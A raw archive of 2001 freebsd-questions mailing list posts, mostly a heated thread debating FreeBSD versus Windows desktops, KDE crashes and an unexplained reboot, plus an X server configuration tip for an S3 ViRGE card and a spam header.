(Postfix) with ESMTP id 3B72837B417 for ; Tue, 20 Nov 2001 15:57:02 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAKNuvJ12965; Wed, 21 Nov 2001 00:56:57 +0100 (CET) Message-ID: <015d01c1721f$09df3420$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Giorgos Keramidas" Cc: "setantae" , References: <3BF9B12B.3D521A4D@nycap.rr.com> <0111191831240Q.60958@chip.wiegand.org> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <20011120023948.A92409@xor.obsecurity.org> <00df01c171b0$2a938be0$0a00000a@atkielski.com> <20011120105642.GA75918@rhadamanth> <012d01c171b6$96b5adc0$0a00000a@atkielski.com> <20011120114236.GA76431@rhadamanth> <005f01c171bf$c4d06b10$0a00000a@atkielski.com> <20011120220325.GF27244@hades.hell.gr> Subject: Re: home pc use Date: Wed, 21 Nov 2001 00:56:51 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Giorgos writes: > So what are you complaining about? :) > That KDE crashes? That you experienced spontaneous > reboots at night? I've mentioned the first, and asked about the second. I don't recall having complained. > But when people did suggest things that would > help you find out the (possible) cause of your > problems: Replacing the hardware is not an option. > you have been posting troll-like messages to > freebsd-questions for more than a few days. I've been listening to the usual hotheaded young males beating their chests and chanting the mantras of their favorite religion (FreeBSD in this case) for several days. Precious few of the people on this list seem objective enough and unemotional enough to answer my questions impartially and calmly, and equally few seem to really know what they are talking about. It's a typical mailing list, in other words, but it doesn't seem to be a very useful resources for getting questions answered. > The threads that you start and contribute to > tend to diverge a lot from being `questions' > and they have a tendency to transform in 'FreeBSD > vs Windows' flamefests. Please stop this. You don't approve of comparisons between FreeBSD and other operating systems? How can I discuss a new operating system or learn anything about it if I am forbidden to mention other operating systems with which I am familiar? > If you want to learn how FreeBSD works, the people > on this list and the rest of the FreeBSD support > lists are more than willing to point to the right > places. Don't they have any answers themselves? If all I want is _pointers_ to _other_ resources, I can just use Google. There must be some gurus somewhere here on this list. > So, if you begin to like FreeBSD after a while, then > you are most welcome to use it :) I liked FreeBSD as soon as I installed it. I just don't consider it deity incarnate. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 15:59: 7 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 9B17137B417 for ; Tue, 20 Nov 2001 15:59:05 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAKNwv313516; Wed, 21 Nov 2001 00:58:57 +0100 (CET) Message-ID: <016401c1721f$517acec0$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Giorgos Keramidas" Cc: "Kris Kennaway" , "setantae" , References: <3BF9B12B.3D521A4D@nycap.rr.com> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <00cd01c171ac$ca0fa0e0$0a00000a@atkielski.com> <20011120102625.GB75402@rhadamanth> <00d201c171af$61dccb80$0a00000a@atkielski.com> <20011120024643.B92409@xor.obsecurity.org> <012001c171b5$ac8d86a0$0a00000a@atkielski.com> <20011120213753.GE27244@hades.hell.gr> Subject: Re: home pc use Date: Wed, 21 Nov 2001 00:58:51 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Giorgos writes: > In fact, Microsoft's name was rarely if ever spelled > out publicly on these lists, until that day a few > weeks back that you started complaining why FreeBSD > is not exactly like the Windows you used to have :) I've been told in private that any mention of Windows usually brings the fanatics out of the woodwork on these lists, which probably explains why so few are willing to mention the hated word. > Most of the people on these lists can do their > daily work without caring about the Microsoft way > of doing things. It is one thing to say `I hate > Microsoft' and a totally different story to say > `I don't care about Microsoft'. Don't let the > subtle difference confuse you. Very often there isn't any difference, and the latter is a euphemism for the former. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 16: 0:16 2001 Delivered-To: freebsd-questions@freebsd.org Received: from avocet.prod.itd.earthlink.net (avocet.mail.pas.earthlink.net [207.217.120.50]) by hub.freebsd.org (Postfix) with ESMTP id 2000E37B405 for ; Tue, 20 Nov 2001 16:00:09 -0800 (PST) Received: from cpe-24-221-47-19.az.sprintbbd.net ([24.221.47.19] helo=sparky.suntreeaz.com) by avocet.prod.itd.earthlink.net with esmtp (Exim 3.33 #1) id 166KoC-0001cG-00; Tue, 20 Nov 2001 16:00:08 -0800 Received: from drs (drs.suntreeaz.com [192.168.254.19]) by sparky.suntreeaz.com (8.11.3/8.11.3) with SMTP id fAKNxwU13830; Tue, 20 Nov 2001 17:00:02 -0700 (MST) (envelope-from drs@suntreeaz.com) Message-ID: <00bf01c1721f$70034660$13fea8c0@drs> From: "Don Sutter" To: "Josh Paetzel" Cc: "FreeBSD Questions" References: <001f01c16f2c$b1125f60$13fea8c0@drs> <20011117175913.B504@twincat.vladsempire.net> Subject: Re: S3 ViRGE in high color mode Date: Tue, 20 Nov 2001 16:59:44 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I wish I could report your suggestion worked but it doesn't. It doesn't seem to be resolution dependent, rather color depth dependent. I usually run my monitor at 1280 X 1024. 8 bit mode runs fine but nothing else. I suspect it's a driver issue... ----- Original Message ----- From: "Josh Paetzel" To: "Don Sutter" Cc: "FreeBSD Questions" Sent: Saturday, November 17, 2001 10:59 AM Subject: Re: S3 ViRGE in high color mode > On Fri, Nov 16, 2001 at 10:57:07PM -0700, Don Sutter wrote: > > Has anyone figured out how to get a 4M S3 ViRGE PCI (86C325) > > to run at more than 256 colors at 1024 X 768 in KDE 2.2.1 / > > XFree86 4.1.0_10 without breaking up every time you move the > > mouse? I looked the man page at > > http://www.xfree86.org/4.1.0/s3virge.4.html over and there > > are quite a few combinations to try. Anybody had any luck > > yet or am I just too far out on the bleeding edge? > > heh, no. :) > > Try this in your XF86Config: > > Section "Screen" > Identifiers "Screen0" > Device "Card0" > Monitor "Monitor0" > DefaultDepth 16 > Subsection "Display" > Depth 16 > Modes "1024x768" > EndSubSection > EndSection > > Section "Device" > Identifier "Card0" > Driver "s3virge" > VendorName "cirrus" > BoardName "whatever" > BusID "PCI:0:15:0" #Your entry here might vary > ChipSet "86c325" > EndSection > > > See if that works. > Josh > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 16: 2:27 2001 Delivered-To: freebsd-questions@freebsd.org Received: from lists.blarg.net (lists.blarg.net [206.124.128.17]) by hub.freebsd.org (Postfix) with ESMTP id C630537B405 for ; Tue, 20 Nov 2001 16:02:24 -0800 (PST) Received: from thig.blarg.net (thig.blarg.net [206.124.128.18]) by lists.blarg.net (Postfix) with ESMTP id 6FC14BD37; Tue, 20 Nov 2001 16:02:24 -0800 (PST) Received: from localhost.localdomain ([206.124.139.115]) by thig.blarg.net (8.9.3/8.9.3) with ESMTP id QAA06016; Tue, 20 Nov 2001 16:02:23 -0800 Received: (from jojo@localhost) by localhost.localdomain (8.11.6/8.11.3) id fAL00TV74213; Tue, 20 Nov 2001 16:00:29 -0800 (PST) (envelope-from swear@blarg.net) To: naddy@mips.inka.de (Christian Weisgerber) Cc: freebsd-questions@FreeBSD.ORG Subject: Re: /usr/ports/shells/ksh93 References: <9tedjp$31cl$1@kemoauc.mips.inka.de> From: swear@blarg.net (Gary W. Swearingen) Date: 20 Nov 2001 16:00:26 -0800 In-Reply-To: <9tedjp$31cl$1@kemoauc.mips.inka.de> Message-ID: Lines: 21 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.1 (Cuyahoga Valley) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG naddy@mips.inka.de (Christian Weisgerber) writes: > Maybe the maintainer knows? But hey, why ask the one guy most > likely to know when you can instead address hundreds or thousands > of people who probably don't? Interesting. And suprising to me, but I guess it makes some sense and the ports section Handbook (4.3.2) does say to contact the maintainer first, then write a PR. Where do you think -questions and -ports should be mentioned in the Handbook's list of ways to deal with seemingly broken ports, if anywhere? (They're not in there now.) I think many people have an instinctive hesitation to bother a maintainer or developer about things and interrupt their important work and would rather bother other "users". We forget that many (most?) read these lists too. Should the Handbook (and man pages?) give people warmer feelings about dealing directly with people, than with "the system"? But wasn't "the system" created to insulate you from direct initial contact with users? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 16: 4:32 2001 Delivered-To: freebsd-questions@freebsd.org Received: from exploder4.em5000.com (exploder4.em5000.com [66.77.58.68]) by hub.freebsd.org (Postfix) with SMTP id 78AB937B417 for ; Tue, 20 Nov 2001 16:03:11 -0800 (PST) From: ALC Subject: AMERICAN LANGUAGE CENTER To: questions@freebsd.org X-Info: To report abuse forward this mail to twisted_solo@complaints.em5000.com . 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--------------100629979920357-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 16: 5: 1 2001 Delivered-To: freebsd-questions@freebsd.org Received: from monorchid.lemis.com (monorchid.lemis.com [192.109.197.75]) by hub.freebsd.org (Postfix) with ESMTP id A91E937B405; Tue, 20 Nov 2001 16:02:35 -0800 (PST) Received: by monorchid.lemis.com (Postfix, from userid 1004) id 3483E7855F; Wed, 21 Nov 2001 10:32:33 +1030 (CST) Date: Wed, 21 Nov 2001 10:32:33 +1030 From: Greg Lehey To: Anthony Atkielski , "Andrew C. Hornback" Cc: Kris Kennaway , Steve Brown , Chip , questions@FreeBSD.ORG, setantae , Kenneth Wayne Culver , Andre` Niel Cameron , Toomas Aas , Ken Bolingbroke , FreeBSD Questions Subject: Re: home pc use Message-ID: <20011121103233.K76318@monorchid.lemis.com> References: <20011120114236.GA76431@rhadamanth> <005f01c171bf$c4d06b10$0a00000a@atkielski.com> <3BF9B12B.3D521A4D@nycap.rr.com> <0111191831240Q.60958@chip.wiegand.org> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <20011120023948.A92409@xor.obsecurity.org> <00df01c171b0$2a938be0$0a00000a@atkielski.com> <20011120024747.A92560@xor.obsecurity.org> <012501c171b5$dcd9b900$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <00b401c17203$caba2630$0a00000a@atkielski.com> <004601c17205$1dc2e780$6600000a@ach.domain> <009201c171fe$d273a270$0a00000a@atkielski.com> <012001c171b5$ac8d86a0$0a00000a@atkielski.com> <012701c17216$9e31df00$0a00000a@atkielski.com> <00a601c17202$0f9af880$0a00000a@atkielski.com> <00c801c17205$1175f2b0$0a00000a@atkielski.com> <001f01c171cf$430e8ac0$0a00000a@atkielski.com> <005f01c171bf$c4d06b10$0a00000a@atkielski.com> <012501c171b5$dcd9b900$0a00000a@atkielski.com> User-Agent: Mutt/1.3.23i Organization: The FreeBSD Project Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.FreeBSD.org/ X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG OK, this is getting beyond anything reasonable. Unless something new occurs, this will be my last message on the subject. Please also note that this shouldn't be on -questions; it's a discussion, and there's no evidence you're even trying to solve what technical problems you might have. On Tuesday, 20 November 2001 at 13:34:53 +0100, Anthony Atkielski wrote: > Ceri writes: > >> It's a window manager. Try it, it's in the ports tree. > > Maybe some other time. I've had my fill of window managers for the > time being. Are you planning to use only the console interface? >> Yes, FreeBSD is suited for server use, but I find it perfectly >> adequate for my dekstop needs as well. > > It may be, if your needs are very limited. I have more than 100 > applications that I use on Windows, All at the same time? > though, and there is just no way to get the equivalent on > FreeBSD--nor do I have any motivation to try to do so. Obviously if you're happy with Microsoft, there's no reason to change. I have 5 machines in my office, four of them running FreeBSD. Three of these run a series of X displays spread across 5 21" screens, and I currently have 67 windows open. The fourth machine is a laptop which currently has 12 windows open; I count it separately because I don't normally control it from the same keyboard/mouse pair. The machines don't crash. The laptop was last rebooted 12 days ago at the other end of the world. The fifth machine runs Microsoft. I am required to use it for my work. I currently have 6 windows open: four Netscape, one Mail, one "Network Dialer" (a function which FreeBSD performs automatically). Using this machine is like pulling teeth. It offers me none of the functionality of my FreeBSD machine, it mutilates the mail I send out, and it generally puts me in a bad mood. Why would I want this? > When you've seen one or two dispatchers, you've seen them all. Well, no, but it's not exactly relevant to this discussion. > The fundamental architecture of UNIX is very well know, even by > people who don't use it. After all, it has been around for thirty > years, and it's pretty straightforward. It is thus very easy and > valid to make "sweeping comments" concerning UNIX, whether or not > one happens to be one of the world's five greatest experts on the > system. > > What surprises and amuses me is that so many people here do not > realize this. I think you're misinterpreting the messages you get. I find your comments somewhat ill-informed, which is why I'm going to the trouble to reply to this. > Maybe UNIX is the only OS they've ever used. There aren't too many operating systems I haven't used. On Tuesday, 20 November 2001 at 15:25:37 +0100, Anthony Atkielski wrote: > Ceri writes: > >> Who said anything about cloning Windows ? > > I did. A realistic GUI environment for me would have to be a > virtual clone of Windows, because virtually all the applications I > use are Windows-only applications. Under these circumstances, I'm surprised that you even try something else. >> You come here and basically say ``All window managers suck.'' > > In a world dominated by Microsoft Windows, any window manager that > does not replicate Windows functionality effectively sucks, from the > standpoint of the average end user. I think you're looking from your standpoint. But note that the average user is also very badly educated about computers. When that changes, software will get better than the current Microsoft junk. > This may not be a pleasant thought, but it is a hard reality. I may > not like everything about Windows, but I do accept that it is the > standard against which all other window systems must be measured. You're certainly in a minority there. I'd like to say it's the lowest common denominator, but that's not correct: Microsoft is off on a tangent to the way I want to work. >> I suggest a window manager that doesn't suck, and you say ``I've >> had my fill''. > > I heard great things about KDE, too, but it turned out to be a > disappointment. First, I need to make the point that KDE is not an unreliable window manager. The problems you are having are yours, not those of a specific software component. People have been trying to help you, but you don't seem to want help. Having said that, I hate KDE. It tries to look too much like Microsoft, which I think is the wrong paradigm. Such window managers don't scale. I put it on my daughter's laptop, thinking she might find it interesting, but she went back to fvwm2. Oh yes, she has Microsoft on her laptop too. She hardly uses it. > So did the default window manager. Default window manager? There isn't one. > I can't devote my life to trying to make UNIX look like Windows. No, you should learn to use it to its best advantage. > There are lots of other things that UNIX is good for, and I have no > pressing desire to prove that UNIX can be "just as good" as Windows. Of course not. Why lessen its usefulness? > That's what I'm doing, although I've discovered that this list, at > least, is nearly useless for that purpose. One need only read your > own post, and others like it, and distill the real, useful > information they contain, if any, to see how poorly this list > fulfills its nominal role. It's a two-way street. If you don't try to solve your own problems, nobody else will help you for long. As I've said, I'm bowing out. On Tuesday, 20 November 2001 at 21:50:57 +0100, Anthony Atkielski wrote: > Ceri writes: > >> I refute your assumption that a system that doesn't run Windows >> applications is useless. > > If you can get by without any Windows applications, your refutation > is valid. But most people need to run at least a few Windows > applications, Why? I wouldn't run any at all if I were not forced to. >> There you go again. Window Managers Do Not Run Applications. All >> you need is an X server to run Netscape. > > Maybe I'm confused. How do you run an X server or an application > within it without a window manager? Well, I wouldn't recommend running without a window manager, though I've seen exactly this in a production environment. Start the X server and put the following in the .xinitrc: netscape That's all. No borders, no menus, just netscape. On Tuesday, 20 November 2001 at 21:29:25 +0100, Anthony Atkielski wrote: > Kenneth writes: > >> Not everyone wants their systems to look like and feel like >> windows. > > Maybe, but you'd never know that from the fervor with which UNIX > users (or newbies, at least) rush to install GUI environments on > their machines. There's a difference between looking like Microsoft and running a GUI. > Maybe I should take a poll: How many FreeBSD users here are > satisfied with just the standard command-line interface and > interactions through terminal-style remote programs like telnet or > ssh? I'll raise my hand, but I daresay that I won't see too many > other hands going up. Wrong question. "How many FreeBSD users need Microsoft applications to get their work done?". >> I for one would never have installed FreeBSD on my computers 5 or 6 >> years ago if it had looked like windows. > > I installed FreeBSD specifically with the intent of leaving it in > its native state. It's a server, not a desktop. If I want to throw > away vast amounts of horsepower putting drop shadows and sparkly > highlights on screen icons, I'll do it on my Windows desktop system This seems to contradict what you've said above. > (heck, do I have a choice?). Of course you do. >> What were you disappointed by? > > The raggedness and instability of the windows environments. KDE2 > was all flash and no substance. Pretty icons and graphics, > obviously influenced by Redmond, but with none of the stability of a > real Windows system. For example, the task bar would get stuck, > with only the background painted, or icons would freeze on the > screen, or all sorts of other weird anomalies. It just had a junky > feel to it. Why are you blaming FreeBSD for KDE? > Long ago, I saw a very simple windowed desktop on DEC UNIX systems, > if I remember correctly. Can anyone tell me what sort of > environment that was? Could have been twm. > I don't need something fancy, just something that will let me run > programs that require an X environment. I don't care if I hear > lovely chimes when I double-click on icons, and I don't need to have > a menu of 3,245 desktop themes to choose from. Try fvwm2. >> What exactly do you want to know how to do, I didn't read your >> original post, but I'll read your response to this mail, I'm sure I >> can help you with most of your problems; as I still remember the >> problems I had when I made the switch (And never went back) > > I've asked a number of questions, and often I either got no answer > at all, or vague or incomplete answers. Or ones you've ignored. > The problem of a mysterious reboot during the night is one of them: > My system rebooted abruptly sometime during the night, on one single > occasion, which has not been repeated. There seems to be no > evidence of what happened; I asked here if there was any place where > I could look for clues, but didn't get much of an answer. The > system was running setiathome, and a cron job was executing (I know > this from the last screen output by top on a remote terminal before > the system went down). Nothing else. The system has been in the > same state on many other occasions, but no reboots have occurred. Well, I sent you a reply with many details and recommendations. What did you do about it? In the time this thread has been going on, I heard from somebody else complaining about the same problems. I pointed him to the same information. He tried it, it worked. On Tuesday, 20 November 2001 at 23:56:34 +0100, Anthony Atkielski wrote: > Ceri writes: > >> That's not the situation you described though, is it? > > It's exactly the situation I described. > >> You said : >> `` I would not run any X server on a large system >> with many users connected; let the users gobble >> resources on their own workstations, not on the >> central system.'' >> >> If, however, you are running the X server on the >> same machine, then the server and workstation are >> one and the same. > > Yes, and if there are other users connected to the machine, then the situation I > described obtains. > >> However, I think you are failing to realise that the X server and >> the workstation are always one and the same. > > But the workstation and the server (the server being the UNIX system running the > clients) are not. I meant server in the sense of the central system serving > many users. > >> Each user runs their own X server. > > If the user is running the X server on the console of his FreeBSD > system, then everything is running on a single machine. This > appears to be the way many people do it, from what I've read here. > And so a multiuser timesharing system is essentially being used as a > simple desktop. That depends on how you use the machine. If you want a "simple desktop", what else would you use? My machines also run a number of servers as well. I don't know what you're trying to say here, but it appears to be an attempt to divert attention from an obvious contradiction. > Kind of like using MVS as an adding machine. I can't see any similarity. >> I'll say it again, in case you still don't get it : The X server >> runs on the workstation. > > But the workstation and the UNIX server are usually one and the > same, in the configurations being discussed here. If you are > running KDE, typically it is running on the console of the same > machine that runs the X clients, as I understand it. There are significant differences. As I say, I have five, sometimes six screens connected to one pair of input devices. They're spread across two, maybe three machines, but the clients are running on many more, currently about fourteen machines. > So everything is running on one machine ... just like a desktop. I still don't know what you're trying to say or prove with this statement. > I supposed you could split things over two machines, but is anyone > really doing that? Yes, as I said. But even for those who don't, the flexibility is important. It means that if they want to do so, they can. > To run a GUI, you need intimate communication with the hardware. Understand that a real operating system is not one big monolithic blob from the interrupt handlers up to the widgets. It's modular. Looking from this viewpoint, your statement doesn't really say anything useful. >> As in, each user runs their own X server on their own workstation, >> the machine that all the users they are logged into doesn't run an >> X server at all, it runs X clients. > > These two machines may be one and the same. This is a feature, not a bug. On Tuesday, 20 November 2001 at 12:22:37 +0100, Anthony Atkielski wrote: > Kris writes: > >> This is a tautological statement ("code which needs to do more >> complicated things is more complicated and larger"). > > It is indeed, and yet many people still manage to ignore the reality > of it. There is a (religious) belief among many that their > preferred OS will somehow be able to maintain a complex GUI > environment without any of the complexity of code or potential > instability that goes with it. Obviously, this cannot be, and yet > they continue to believe it. You'll always find people like that. If you are implying that it applies to the majority (or even a large minority) of FreeBSD users, you're wrong. >> This is an overgeneralization; under FreeBSD it's very rare for a >> window manager bug to "take out the OS". Even if the X server >> crashes the system still runs. > > You'd think so. But it worried me tremendously that, while simply > trying to change a font in KDE, the entire system crashed. It > should not be possible for an application like a windows manager to > crash the kernel. Correct. > The fact that this was possible worries me because it casts a shadow > on the security of the kernel--how could a user application manage > to crash the system like that? Well, show us the dump and we'll tell you. And we'll fix it. On Tuesday, 20 November 2001 at 21:41:49 +0100, Anthony Atkielski wrote: > Ken writes: > >> The problem I see is that you really haven't >> tried enough to make such a determination. > > I don't have to. Statistically, there is no reason to suspect > hardware unless and until everything else has been eliminated. > > If someone hits you in the rear end at an intersection, which makes > more sense: (1) tearing down the car in a garage to test the > transmission in careful detail, in order to make sure that the car > wasn't stuck in Drive; or (2) testing the driver for alcohol in his > blood? How does this relate to the case at hand? Here you have been told that crashes during cron jobs are frequently disk related, that your chip set has known issues with the disk controller, and the version of FreeBSD you're running doesn't have a workaround installed. On Tuesday, 20 November 2001 at 23:16:44 +0100, Anthony Atkielski wrote: > Ken writes: > >> Face it, countless people use KDE. You're whining about all these >> bugs, how it's not stable, etc. Yet, all these other people, >> myself included, are just using it. So you couldn't get it to >> work... Hardware fault? Driver bugs? User error? Take your >> pick. > > Okay, what did I do wrong? You didn't try to find the cause of the crash. >> And you wonder why people aren't falling over themselves to help >> you out of their own goodwill. > > Some of them are more worried about trying to defend their religion > with personal attacks. I don't see that. Greg -- See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 16: 5: 4 2001 Delivered-To: freebsd-questions@freebsd.org Received: from monorchid.lemis.com (monorchid.lemis.com [192.109.197.75]) by hub.freebsd.org (Postfix) with ESMTP id A91E937B405; Tue, 20 Nov 2001 16:02:35 -0800 (PST) Received: by monorchid.lemis.com (Postfix, from userid 1004) id 3483E7855F; Wed, 21 Nov 2001 10:32:33 +1030 (CST) Date: Wed, 21 Nov 2001 10:32:33 +1030 From: Greg Lehey To: Anthony Atkielski , "Andrew C. Hornback" Cc: Kris Kennaway , Steve Brown , Chip , questions@FreeBSD.ORG, setantae , Kenneth Wayne Culver , Andre` Niel Cameron , Toomas Aas , Ken Bolingbroke , FreeBSD Questions Subject: Re: home pc use Message-ID: <20011121103233.K76318@monorchid.lemis.com> References: <20011120114236.GA76431@rhadamanth> <005f01c171bf$c4d06b10$0a00000a@atkielski.com> <3BF9B12B.3D521A4D@nycap.rr.com> <0111191831240Q.60958@chip.wiegand.org> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <20011120023948.A92409@xor.obsecurity.org> <00df01c171b0$2a938be0$0a00000a@atkielski.com> <20011120024747.A92560@xor.obsecurity.org> <012501c171b5$dcd9b900$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <00b401c17203$caba2630$0a00000a@atkielski.com> <004601c17205$1dc2e780$6600000a@ach.domain> <009201c171fe$d273a270$0a00000a@atkielski.com> <012001c171b5$ac8d86a0$0a00000a@atkielski.com> <012701c17216$9e31df00$0a00000a@atkielski.com> <00a601c17202$0f9af880$0a00000a@atkielski.com> <00c801c17205$1175f2b0$0a00000a@atkielski.com> <001f01c171cf$430e8ac0$0a00000a@atkielski.com> <005f01c171bf$c4d06b10$0a00000a@atkielski.com> <012501c171b5$dcd9b900$0a00000a@atkielski.com> User-Agent: Mutt/1.3.23i Organization: The FreeBSD Project Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.FreeBSD.org/ X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG OK, this is getting beyond anything reasonable. Unless something new occurs, this will be my last message on the subject. Please also note that this shouldn't be on -questions; it's a discussion, and there's no evidence you're even trying to solve what technical problems you might have. On Tuesday, 20 November 2001 at 13:34:53 +0100, Anthony Atkielski wrote: > Ceri writes: > >> It's a window manager. Try it, it's in the ports tree. > > Maybe some other time. I've had my fill of window managers for the > time being. Are you planning to use only the console interface? >> Yes, FreeBSD is suited for server use, but I find it perfectly >> adequate for my dekstop needs as well. > > It may be, if your needs are very limited. I have more than 100 > applications that I use on Windows, All at the same time? > though, and there is just no way to get the equivalent on > FreeBSD--nor do I have any motivation to try to do so. Obviously if you're happy with Microsoft, there's no reason to change. I have 5 machines in my office, four of them running FreeBSD. Three of these run a series of X displays spread across 5 21" screens, and I currently have 67 windows open. The fourth machine is a laptop which currently has 12 windows open; I count it separately because I don't normally control it from the same keyboard/mouse pair. The machines don't crash. The laptop was last rebooted 12 days ago at the other end of the world. The fifth machine runs Microsoft. I am required to use it for my work. I currently have 6 windows open: four Netscape, one Mail, one "Network Dialer" (a function which FreeBSD performs automatically). Using this machine is like pulling teeth. It offers me none of the functionality of my FreeBSD machine, it mutilates the mail I send out, and it generally puts me in a bad mood. Why would I want this? > When you've seen one or two dispatchers, you've seen them all. Well, no, but it's not exactly relevant to this discussion. > The fundamental architecture of UNIX is very well know, even by > people who don't use it. After all, it has been around for thirty > years, and it's pretty straightforward. It is thus very easy and > valid to make "sweeping comments" concerning UNIX, whether or not > one happens to be one of the world's five greatest experts on the > system. > > What surprises and amuses me is that so many people here do not > realize this. I think you're misinterpreting the messages you get. I find your comments somewhat ill-informed, which is why I'm going to the trouble to reply to this. > Maybe UNIX is the only OS they've ever used. There aren't too many operating systems I haven't used. On Tuesday, 20 November 2001 at 15:25:37 +0100, Anthony Atkielski wrote: > Ceri writes: > >> Who said anything about cloning Windows ? > > I did. A realistic GUI environment for me would have to be a > virtual clone of Windows, because virtually all the applications I > use are Windows-only applications. Under these circumstances, I'm surprised that you even try something else. >> You come here and basically say ``All window managers suck.'' > > In a world dominated by Microsoft Windows, any window manager that > does not replicate Windows functionality effectively sucks, from the > standpoint of the average end user. I think you're looking from your standpoint. But note that the average user is also very badly educated about computers. When that changes, software will get better than the current Microsoft junk. > This may not be a pleasant thought, but it is a hard reality. I may > not like everything about Windows, but I do accept that it is the > standard against which all other window systems must be measured. You're certainly in a minority there. I'd like to say it's the lowest common denominator, but that's not correct: Microsoft is off on a tangent to the way I want to work. >> I suggest a window manager that doesn't suck, and you say ``I've >> had my fill''. > > I heard great things about KDE, too, but it turned out to be a > disappointment. First, I need to make the point that KDE is not an unreliable window manager. The problems you are having are yours, not those of a specific software component. People have been trying to help you, but you don't seem to want help. Having said that, I hate KDE. It tries to look too much like Microsoft, which I think is the wrong paradigm. Such window managers don't scale. I put it on my daughter's laptop, thinking she might find it interesting, but she went back to fvwm2. Oh yes, she has Microsoft on her laptop too. She hardly uses it. > So did the default window manager. Default window manager? There isn't one. > I can't devote my life to trying to make UNIX look like Windows. No, you should learn to use it to its best advantage. > There are lots of other things that UNIX is good for, and I have no > pressing desire to prove that UNIX can be "just as good" as Windows. Of course not. Why lessen its usefulness? > That's what I'm doing, although I've discovered that this list, at > least, is nearly useless for that purpose. One need only read your > own post, and others like it, and distill the real, useful > information they contain, if any, to see how poorly this list > fulfills its nominal role. It's a two-way street. If you don't try to solve your own problems, nobody else will help you for long. As I've said, I'm bowing out. On Tuesday, 20 November 2001 at 21:50:57 +0100, Anthony Atkielski wrote: > Ceri writes: > >> I refute your assumption that a system that doesn't run Windows >> applications is useless. > > If you can get by without any Windows applications, your refutation > is valid. But most people need to run at least a few Windows > applications, Why? I wouldn't run any at all if I were not forced to. >> There you go again. Window Managers Do Not Run Applications. All >> you need is an X server to run Netscape. > > Maybe I'm confused. How do you run an X server or an application > within it without a window manager? Well, I wouldn't recommend running without a window manager, though I've seen exactly this in a production environment. Start the X server and put the following in the .xinitrc: netscape That's all. No borders, no menus, just netscape. On Tuesday, 20 November 2001 at 21:29:25 +0100, Anthony Atkielski wrote: > Kenneth writes: > >> Not everyone wants their systems to look like and feel like >> windows. > > Maybe, but you'd never know that from the fervor 